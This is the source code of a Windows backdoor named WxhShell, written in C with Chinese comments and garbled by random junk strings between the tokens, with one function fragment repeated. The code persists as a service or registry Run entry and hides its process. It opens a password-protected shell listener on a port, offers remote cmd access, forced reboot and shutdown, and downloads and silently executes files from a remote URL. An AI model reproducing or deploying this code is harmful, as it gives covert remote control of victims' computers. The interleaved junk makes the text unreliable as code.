eFdN"8EW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y]TNjLpo$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +2S#3m?1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qI#ow_lL# w0 0Ba^W if (!NtQueryInformationProcess) return 0; UV8K$n< B[nkE+s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (YH/#n1"{ if(!hProcess) return 0; gTjhD( gtV*`g if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Wg
?P" >*cg
K}!@ CloseHandle(hProcess); [W2GLd] j: /cJt hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J}J7A5P if(hProcess==NULL) return 0; _F9O4Q4 s;4r)9Uvx HMODULE hMod; }MV=I$S2U char procName[255];
KL\]1YX unsigned long cbNeeded; s/J/kKj*s S|?Ht61k if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #-Ad0/ *.ZU" 5e CloseHandle(hProcess); O FCA~sR ~ GW8|tw if(strstr(procName,"services")) return 1; // 以服务启动 xRU ~hQ {IpIQ-@l return 0; // 注册表启动 Zc9j_.?* } 4]/i0\Vbam 2?bE2^6 // 主模块 --9Z int StartWxhshell(LPSTR lpCmdLine) SJdi*> { Vdz(\-}ao SOCKET wsl; g2'Q)w BOOL val=TRUE; $ZOKB9QccC int port=0; +\ O[)\ struct sockaddr_in door; b-XC\ A,)G$yT\ if(wscfg.ws_autoins) Install(); 2og8VI e;/C}sK: port=atoi(lpCmdLine); w>W`8P_b@ %g<J"/ if(port<=0) port=wscfg.ws_port; +e6c4Tw/ @~l?hf WSADATA data; FTg4i\Wp if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VI(;8 2iM8V if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !&Z,ev setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !dW77kLTg door.sin_family = AF_INET; ,t]qe door.sin_addr.s_addr = inet_addr("127.0.0.1"); EdPN= door.sin_port = htons(port); k9^Vw+$m /<s$Am if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (BA2
closesocket(wsl); {&Bpf
K;`) return 1; 8zRb)B+ } Yv`8{_8L vsM] <t if(listen(wsl,2) == INVALID_SOCKET) { <9s=K\- closesocket(wsl); B
az:N6u return 1; f~.w2Cna } Uq,M\V\ Wxhshell(wsl); P9p{j1*; WSACleanup(); p]zYj >e YW}1iT/H return 0; / h6(!-" ,Dz2cR6 } 6rnehv!p I>27U<PX // 以NT服务方式启动 J9LS6~
7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [LonY49 { I~R<}volu DWORD status = 0; %(-YOTDr DWORD specificError = 0xfffffff; bmAgB}Ior hG,gY;&[6 serviceStatus.dwServiceType = SERVICE_WIN32; K;f'&9-+i, serviceStatus.dwCurrentState = SERVICE_START_PENDING; gKZ{ O serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JXlFo3< serviceStatus.dwWin32ExitCode = 0; bH41#B serviceStatus.dwServiceSpecificExitCode = 0; |zu>G9m serviceStatus.dwCheckPoint = 0; 6,xoxNoPP3 serviceStatus.dwWaitHint = 0; >:]fN61# yvxC/Jo4 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); er5}=cFZ if (hServiceStatusHandle==0) return; B-[SUmHr 'KGY;8<x] status = GetLastError(); O#7ldF( if (status!=NO_ERROR) JLAg-j2 { wN)R !6 serviceStatus.dwCurrentState = SERVICE_STOPPED; bq4H4?j serviceStatus.dwCheckPoint = 0; $EJ*x$ serviceStatus.dwWaitHint = 0; z1+rz% serviceStatus.dwWin32ExitCode = status; P:k(=CzZ@J serviceStatus.dwServiceSpecificExitCode = specificError; }bznx[4?I SetServiceStatus(hServiceStatusHandle, &serviceStatus); Za!c=(5 return; x=B+FIJ } U8-9^}DBA ~rCnST serviceStatus.dwCurrentState = SERVICE_RUNNING; 9L#B"lh serviceStatus.dwCheckPoint = 0; 8"LaP3U serviceStatus.dwWaitHint = 0; T *t$ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |->y'V }
Q]xW}5
/ d L%E0o // 处理NT服务事件,比如:启动、停止 sW2LNE VOID WINAPI NTServiceHandler(DWORD fdwControl) &up/`8 { CES FkAj~ switch(fdwControl) M]` Q4\ { 3R#<9O case SERVICE_CONTROL_STOP: ^z&xy41#B serviceStatus.dwWin32ExitCode = 0; Y)u}+Yg serviceStatus.dwCurrentState = SERVICE_STOPPED; 6 qKIz{; serviceStatus.dwCheckPoint = 0; om_&|9B) serviceStatus.dwWaitHint = 0; IVNNiNN*5 { cHsJQU*K6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Bjp{)* } deTbvl return; aJ)5 DlfLR case SERVICE_CONTROL_PAUSE: T4!]^_t^ serviceStatus.dwCurrentState = SERVICE_PAUSED; yL
Q&<\ break; ,IJ Nuu\ case SERVICE_CONTROL_CONTINUE: ^Js9E serviceStatus.dwCurrentState = SERVICE_RUNNING; )ql?} break; _&%!4n#> case SERVICE_CONTROL_INTERROGATE: DpS6>$v8t break; ,;d9uG2 }; d}o1 j SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5N/]/ } oM7^h3R "tj#P // 标准应用程序主函数 Z],"<[E int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u3. PHZ { b<( W}$x %|,<\~P // 获取操作系统版本 xRY5[=97 OsIsNt=GetOsVer(); -.*\J|S@g GetModuleFileName(NULL,ExeFile,MAX_PATH); f.P( {PN &"kx(B // 从命令行安装 Np-D:G if(strpbrk(lpCmdLine,"iI")) Install(); wwAT@=X*} .E}});l // 下载执行文件 z>0"T2W
y if(wscfg.ws_downexe) { ]Cz16e&=2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3
#wj- WinExec(wscfg.ws_filenam,SW_HIDE); 4By-+C* } @Hf}PBb Kmnr}Lp9 if(!OsIsNt) { ~JNuy"8 // 如果时win9x,隐藏进程并且设置为注册表启动 +-nQ,
fOV HideProc(); UJH{vjIv StartWxhshell(lpCmdLine); <M7*N. } tQ~B!j] else Ww(_EW if(StartFromService()) heKI<[8l // 以服务方式启动 f5a](& StartServiceCtrlDispatcher(DispatchTable); \+uqP:Ty else 0l=}v%D // 普通方式启动 7asq]Y}< StartWxhshell(lpCmdLine); UH.cn|R O%&@WrFq return 0; YzZF^q^I } +Y~+o-_ /(V=Um^0
2 QmUg 8[C6LG =========================================== `"H?nf0 DOerSh_0W h2%:;phH * jK))|% gxOmbQt@; >u)ZT " ^JtHTLHL= I{zE73 #include <stdio.h> 'u[o`31. #include <string.h> ?i~/gjp
#include <windows.h> A7C+&I!L #include <winsock2.h> $Jm2,Yv #include <winsvc.h> 3@] a#> #include <urlmon.h> 9@Sb! 9h %5*#c*)R #pragma comment (lib, "Ws2_32.lib") XQOprIJ
U #pragma comment (lib, "urlmon.lib") winJ@IY W k_n{Mss'9 #define MAX_USER 100 // 最大客户端连接数 z,|%?
1
#define BUF_SOCK 200 // sock buffer ennz/' #define KEY_BUFF 255 // 输入 buffer PAwg&._K rO$>zdmYHs #define REBOOT 0 // 重启 Noxz kpMF #define SHUTDOWN 1 // 关机 eH955[fVd4 #>jH[Q #define DEF_PORT 5000 // 监听端口 hZWK5KwT yl<$yd0Zdu #define REG_LEN 16 // 注册表键长度 a{HgIQg_>R #define SVC_LEN 80 // NT服务名长度 3cO[t\/up 1vs>2` DLa // 从dll定义API 0Eu$-) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DD 5EHJR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pE/3-0;}N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SP7g qM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y"kS!!C>[ 2Lekckgv // wxhshell配置信息 oHXW])[ struct WSCFG { %4|}&,%%r int ws_port; // 监听端口 bC>>^?U1m char ws_passstr[REG_LEN]; // 口令 Cn;H@!8<s int ws_autoins; // 安装标记, 1=yes 0=no T0v@mXBQ char ws_regname[REG_LEN]; // 注册表键名 &@utAuI char ws_svcname[REG_LEN]; // 服务名 &9dr+o-(~ char ws_svcdisp[SVC_LEN]; // 服务显示名 0 ,Qj: char ws_svcdesc[SVC_LEN]; // 服务描述信息 sQ:VrXwP char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uxMy1oy int ws_downexe; // 下载执行标记, 1=yes 0=no O;BMwg_7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zg Y*|{4Sl char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;=VK_3" 5;MK1l }; @52=3 Be>c)90bO_ // default Wxhshell configuration mGpkM?Y" struct WSCFG wscfg={DEF_PORT, aQ&8fteFR "xuhuanlingzhe", f+TBs_ 1, }Q r0T "Wxhshell", v8[ek@ "Wxhshell", ?sf2h:\N "WxhShell Service", 76_8e{zbr "Wrsky Windows CmdShell Service", >c
y.]uB "Please Input Your Password: ", xK),:+G( 1, .`Old{< "http://www.wrsky.com/wxhshell.exe", U~#^ ^ "Wxhshell.exe" {`Fx~w;i }; #!=>muZt 0]eh>ab> // 消息定义模块 z^!A/a[[! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q0q)n=i}] char *msg_ws_prompt="\n\r? for help\n\r#>"; ( ln char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %YvSHh;c char *msg_ws_ext="\n\rExit."; i5E:FS^!I char *msg_ws_end="\n\rQuit."; -4y)qGb*? char *msg_ws_boot="\n\rReboot..."; uU[[[LQq char *msg_ws_poff="\n\rShutdown..."; kf^-m/ char *msg_ws_down="\n\rSave to "; k$0|^GL8 $E`iqRB char *msg_ws_err="\n\rErr!"; g=oeS%>E char *msg_ws_ok="\n\rOK!"; {GX
&)c4 # McK46B z char ExeFile[MAX_PATH]; B=q)}aWc int nUser = 0; @wB'3q}( HANDLE handles[MAX_USER]; 3vRLg b int OsIsNt; k;K>
,$F [!:-m61 SERVICE_STATUS serviceStatus; 9o_ g_q SERVICE_STATUS_HANDLE hServiceStatusHandle; }/7.+yD [TbG55 // 函数声明 k67i`f= int Install(void); ?HEtrX,q int Uninstall(void); STXqq[+Rf int DownloadFile(char *sURL, SOCKET wsh); 0$f_or9T int Boot(int flag); qUEd
E`B void HideProc(void); -
5o<Q'( int GetOsVer(void); 5Aa31"43n int Wxhshell(SOCKET wsl); OXIu>jF void TalkWithClient(void *cs); $/<"Si&( int CmdShell(SOCKET sock); %2Xus9;k# int StartFromService(void); [$1: &!(! int StartWxhshell(LPSTR lpCmdLine);
(^tr}?C r3[t<xlFf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F=
_uNq VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7,W]zKH {.aK{
V // 数据结构和表定义 .-('C> @ SERVICE_TABLE_ENTRY DispatchTable[] = NRHr6!f> { L)kb (TH {wscfg.ws_svcname, NTServiceMain}, Rm,[D)D^0N {NULL, NULL} hapB! ~M? }; ,<0Rf HQ|o%9~ // 自我安装 b!4N)t>gl int Install(void) &jXca| wAR { JAGi""3HG char svExeFile[MAX_PATH]; ]^yV`Z8 HKEY key; p|FlWR'mA strcpy(svExeFile,ExeFile); A6?qIy 8X}^~ e // 如果是win9x系统,修改注册表设为自启动 ":UWowJO if(!OsIsNt) { >u9id>+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]+}ZfHp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a'
IX yj RegCloseKey(key); (*Gi~?- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5 `4}A%@& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^3Z7dIUww RegCloseKey(key); fs2mN1 return 0; Whv]88w{ } XysFwi } -:)DX++ } w8AJ#9W else { b34zhZ :0
W6uFNOU // 如果是NT以上系统,安装为系统服务 @wd!&%yzO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &ui:DZAxj| if (schSCManager!=0) h|J;6Sm@ { tj#=%m?8V; SC_HANDLE schService = CreateService ]%gp?9wy ( r+imn&FK8 schSCManager, =3h+=l[ wscfg.ws_svcname, ?60>'Xjj wscfg.ws_svcdisp, ,|e} Y
[ SERVICE_ALL_ACCESS, o\_
Td SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IV)^;i SERVICE_AUTO_START, Ivz+Jjw SERVICE_ERROR_NORMAL, mDb-=[W5 svExeFile, E)KB@f<g* NULL, 3x04JE3! NULL, :~\LOKf NULL, |$YyjYK NULL, `)rg|~#k NULL $a`J(I ); 9k+N3vA if (schService!=0) 8# 6\+R { X}3P1.n: CloseServiceHandle(schService); gsW=3m&` CloseServiceHandle(schSCManager); *,E; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hmc\|IF` strcat(svExeFile,wscfg.ws_svcname); 3CA|5A.Pa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %l Q[dXp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I)[`ZVAXR RegCloseKey(key); %GM>u2baw return 0; *6NO-T; - } MB1sQReOO } MzG5u<D CloseServiceHandle(schSCManager); K|`+C1! } a`DWpc~ } +#0~:&!9 H":/Ckok return 1; MK omq } !A~d[</]m @/9>=#4c // 自我卸载 6hp{,8|D"m int Uninstall(void) DP|TIt ,Rl { )X7e$<SU* HKEY key; OWqrD@ VK9Q?nu if(!OsIsNt) { g4Y) Bz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cy`26[E$S RegDeleteValue(key,wscfg.ws_regname); pfR"s:# RegCloseKey(key); o1e4.-xI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h5x*NM1Ih RegDeleteValue(key,wscfg.ws_regname); R|-6o)$ RegCloseKey(key); wjL|Z8 return 0; w
nWgy4: } g`kY]lu } o\&~CW~@~ } Gv;;!sZ else { tzPC/? ~eHRlXL' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \N? 7WQ if (schSCManager!=0) Yhe+u\vGs\ { `N$!s7M SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z*RSMfRW if (schService!=0) AfN&n= d K { :VJV 5f{ if(DeleteService(schService)!=0) { Z{} n8b* CloseServiceHandle(schService); `v~!H\q CloseServiceHandle(schSCManager); TiQ^}5~M return 0; i =-8@ } NIaF 5z CloseServiceHandle(schService); 8-ZUS|7B } '[Xl>Z[ CloseServiceHandle(schSCManager); A?DB#-z.r } kffZElV } <~N%W#z/ c8<xFvYG return 1; G)8ChnJa!m } G,=F<TnI' !9DX=? // 从指定url下载文件 ocwE_dR{ int DownloadFile(char *sURL, SOCKET wsh) 0Qp[\ia { JD ]OIh HRESULT hr; I(n }<)eF char seps[]= "/"; g,=^'D char *token; nS.2C>A char *file; (')(d
HHW char myURL[MAX_PATH]; 1M+oTIN char myFILE[MAX_PATH]; ` 5#hjLe ~r&D6Y strcpy(myURL,sURL); lufeieW token=strtok(myURL,seps); :Jk33 N4y0 while(token!=NULL) ddoFaQ8 { 84^[/d;! file=token; @cIgxp token=strtok(NULL,seps); =U"dPLax } +I@cO&CY| _f|/*.
@Q GetCurrentDirectory(MAX_PATH,myFILE); 3fp> 4;ym' strcat(myFILE, "\\"); 036[96t,F strcat(myFILE, file); B?3juyB`-- send(wsh,myFILE,strlen(myFILE),0); k;Hnu send(wsh,"...",3,0); /zT`Y=1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n P1GW6Pu if(hr==S_OK) 'E -FO_N return 0; Y\(;!o0a else {cR=N~_EO return 1; gu<V(M\ Y)Tl< } @5E,:)T*wR :u/mTZDi // 系统电源模块 8W -@N int Boot(int flag) e:E# b~{ { PsbG|~ HANDLE hToken; 9Ejyg* TOKEN_PRIVILEGES tkp; h e&V# # wa ky<w, if(OsIsNt) { mmP U
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >1ZJ{se LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Dst;: tkp.PrivilegeCount = 1; wf9z"B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q7GY3X*kA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y@;%Uv& if(flag==REBOOT) { `R+,1"5 = if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;#/0b{XFj return 0; ; )llt
G } pM2a(\K,k^ else { <
kP+eD if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NY!jwb@% return 0; #SnvV } F8=nhn } .'d2J> ~N else { Vz"u>BP3~ if(flag==REBOOT) { c-8!#~M( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5<+KR.W return 0; H?Jm'\~ } CDdkoajBa else { f$F*3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fdv`7u+}a return 0; Y7SacRO } ][7p+IsB } >]?H`>4( 8l>CR#%@C return 1; XsL#;a C } p]ivf o2uj =Gnx // win9x进程隐藏模块 s>%Pd7: void HideProc(void) FxRXPt
FK { ao$.6X8fQ x0Z5zV9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k
\qiF|B)Z if ( hKernel != NULL ) 2Z/K(J"&J { 50~K,Jx6B pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'C>U=cE7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uaw < FreeLibrary(hKernel); aGoE,5 } `G$1n#& thW< return; ziEz.Wn" } n$["z
w A6"Hk0Hf // 获取操作系统版本 XL5Es:"+?S int GetOsVer(void) f3tv3>p { #"f'7'TE OSVERSIONINFO winfo; ;#k-)m% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :`Az/U[ GetVersionEx(&winfo); 5VE2@Fn} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y+-xvx
: return 1; ,mFsM!| else !<n"6KA. return 0; AuiFbRFi } KfY$ka[}"S G^Tk 20* // 客户端句柄模块 r)T[(D'Tm- int Wxhshell(SOCKET wsl) HOi C { }1H=wg>\ SOCKET wsh; D'[Uc6 struct sockaddr_in client; Sp SnoVI DWORD myID; =zg:aTMti 0pgY1i7 while(nUser<MAX_USER) lWZuXb,G { jE/oA<^ int nSize=sizeof(client); *nTU#U wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5#JJ? if(wsh==INVALID_SOCKET) return 1; 2>PH8 0E/:|k handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v3RcwySk if(handles[nUser]==0) K
k[`dR; closesocket(wsh); j
tA*pL'/V else >^_ bD nUser++; I9y.e++/ } ;</Lf=+Vm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i+vsp@d eE8ULtO return 0; 6f%DpJ:$U } }nx=e#[g%2 HZ"Evl|n // 关闭 socket 9IZu$- void CloseIt(SOCKET wsh) 6`H.%zM { B|{I:[ closesocket(wsh); 4sFv?W nUser--; Qvoqx>2p5 ExitThread(0); nKh&-E } `$RA< 3 3{Q,hpZN // 客户端请求句柄 .0y%5wz8j void TalkWithClient(void *cs) }iN2KeLAF { "4xfrlOc _D!g4" SOCKET wsh=(SOCKET)cs; U8QX46Br char pwd[SVC_LEN]; $17
su') char cmd[KEY_BUFF]; lX!`zy{3k char chr[1]; `iG,H[t+j int i,j; 3`V1XE.; K`KLC.j while (nUser < MAX_USER) { (k"_># % }=}>9DSM if(wscfg.ws_passstr) { qN|
fEO> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); df*w>xS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MBr:?PE7 //ZeroMemory(pwd,KEY_BUFF);
wsfd8T4 i=0; CQg X=!q while(i<SVC_LEN) { ]Uc`J8p, _%@=Uc6V // 设置超时 1&)_(|p[C fd_set FdRead; E@)\Lc~ struct timeval TimeOut; $ChK]v
6C FD_ZERO(&FdRead); JC;^--0(z FD_SET(wsh,&FdRead); ./-JbW
TimeOut.tv_sec=8; 0lk;F TimeOut.tv_usec=0; C'mL& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <eN R8(P if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N+W&NlZ
}E^S]hdvz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S[:xqzyDg pwd=chr[0]; ub?K, if(chr[0]==0xd || chr[0]==0xa) { L#h:*U{@40 pwd=0; /uqu32;o break; [THG4582oB } )hKS0`$| i++; tx7~SUr } CZ{k@z`r ?:rx1}:F // 如果是非法用户,关闭 socket /'DwfX if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XAOak$(j } ,t$,idcT+ - 0HkT Y send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7YIK9edP send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?[)S7\rP do/)~9[4\ while(1) { fp>.Owt%. pa
.K-e)Mu ZeroMemory(cmd,KEY_BUFF);
:S
%lv {OMgd3%14 // 自动支持客户端 telnet标准 S4NL "m j=0; oUDVy_k while(j<KEY_BUFF) { 7hNb/O004 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h5%|meZQb cmd[j]=chr[0]; tOdT[& if(chr[0]==0xa || chr[0]==0xd) { }E<^gAh} cmd[j]=0; 9|r* pK[ break; Eh8Pwt7C@ } R""%F#4XJ2 j++; yf1CXldi } +54aO D}mL7d1 // 下载文件 {i{xo2<1" if(strstr(cmd,"http://")) { ~fN%WZ;_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); | FM
} if(DownloadFile(cmd,wsh)) ?^!,vh send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qu*1g(el!o else _cqy`p@" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C9tb \?# } qc-,+sn( else { [IX+M#mf '"YYj$>
' switch(cmd[0]) { &V=7D# L T.&7sbE_ // 帮助 |w&~g9 case '?': { 9t:] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C0)Z6 break; <lwuTow } 5mB]N%rfW% // 安装 )najO*n case 'i': { TR vZ if(Install()) d.F)9h]XHO send(wsh,msg_ws_err,strlen(msg_ws_err),0); |H)cuZ else f[~1<;|- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HxwlYx,4 break; :R6Q=g= } wrv5V M} // 卸载 2Oc$+St~8 case 'r': { ?m%h`<wgMc if(Uninstall()) Lubrn"128 send(wsh,msg_ws_err,strlen(msg_ws_err),0); $~u.Wq else 4jwu'7Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P~7.sM break; h SV@TL } RVM&4#E // 显示 wxhshell 所在路径 JJk#,AP case 'p': { ? Nj)6_& char svExeFile[MAX_PATH]; aq>?vti1D strcpy(svExeFile,"\n\r"); UZxmhsv strcat(svExeFile,ExeFile); Q+[ .Y& send(wsh,svExeFile,strlen(svExeFile),0); -;c break; KX+ey8@[ } .Ao0;:;(2- // 重启 ';YgG<u case 'b': { T 1Cs>#) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dk5|@?pe if(Boot(REBOOT)) vgG}d8MW37 send(wsh,msg_ws_err,strlen(msg_ws_err),0); :F(9"L else { 8C&x MA^ closesocket(wsh);
ZXXiL#^ ExitThread(0); bKz{wm% } &^QPkX@p break; 4O$2]D.\ } @)0 Y~A ) // 关机 /^<en(0=P case 'd': { Y`li> .\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,x#ztdvr if(Boot(SHUTDOWN)) 3'#%c>_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); >;lKLGJrd> else { 1i-[+ closesocket(wsh); bx;f`8SN ExitThread(0); G}Z4g } l)Mh2lA,= break; 'D6
bmz } 7'j9rmTXs // 获取shell Ye|G44z case 's': { ww,Z )m CmdShell(wsh); "'{OIP closesocket(wsh); 5'
\)` ExitThread(0); /tC9G@Hl break; %C*^:\y } AzjMv6N // 退出 r%-n*_?.s case 'x': { xZ ;bMxZ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y mDn+VIg CloseIt(wsh); qx%jAs+~ break; u4"r>e6_B } &o.iUk // 离开 eP |)SU case 'q': { ,}7_[b)&V send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~3 @*7B5Q closesocket(wsh); %$9:e
J? WSACleanup(); #"r kuDO exit(1); EA yukM2 break; p7 [(z
} sp{j!NSL } ,"H?hFQ } !%62Phai ;&mxqY8`' // 提示信息 uBRw>"c_*8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "::9aYd! } ^pw7o6} } lC{L6&T J|?[.h7tO return; ;Jo*|pju }
FV8\+ep vU9ek:.l // shell模块句柄 ,\>g int CmdShell(SOCKET sock) pn*d[M|k { .EzSSU7n) STARTUPINFO si; gvr]]}h:O ZeroMemory(&si,sizeof(si)); $Sw,hb si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cqa3n[Mhw1 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *h])mqhB PROCESS_INFORMATION ProcessInfo; !PI0oh char cmdline[]="cmd"; >3$uu+p1F CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VO|u8Z" return 0; `&,_xUA } 1:5P%$?b Gl"wEL* // 自身启动模式 ]!-R<[b
6 int StartFromService(void) `.`FgaJ
| { &m4f1ZO* typedef struct vC-[#]< { iz(m3k:w DWORD ExitStatus; x3_,nl DWORD PebBaseAddress; 4V>vg2
d DWORD AffinityMask; wRj~Qv~E DWORD BasePriority; !,R ULONG UniqueProcessId; 'N|2vbi< ULONG InheritedFromUniqueProcessId; YpiRF+G
} PROCESS_BASIC_INFORMATION; Pgx+\;w" 5@iy3olP PROCNTQSIP NtQueryInformationProcess; hsz$S:am uiuTv)pwF static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VAt>ji7c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [e1\A&T DWdLA~'t HANDLE hProcess; |<'10 PROCESS_BASIC_INFORMATION pbi; ^Jn|*?+l )v};C< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z3ZuC{ if(NULL == hInst ) return 0; Od*v5qT;$ KZi+j#7O g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LuLy6]6D; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Re7{[*Q4 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I?A~zigO E=A/4p6\$ if (!NtQueryInformationProcess) return 0; dPRtN@3 QZWoKGd}+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _AVy:~/ if(!hProcess) return 0; rnJS[o0 sek6+#|= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z/pDOP Ku T3 =)F% CloseHandle(hProcess); gq=0L: G &m>Ov$#& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pVdhj^n if(hProcess==NULL) return 0; kg zwlKK 1LV|t+Sex HMODULE hMod; ><MGZ?-N char procName[255]; Lqg7D\7j unsigned long cbNeeded; |.^^|@+ [''=>< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, 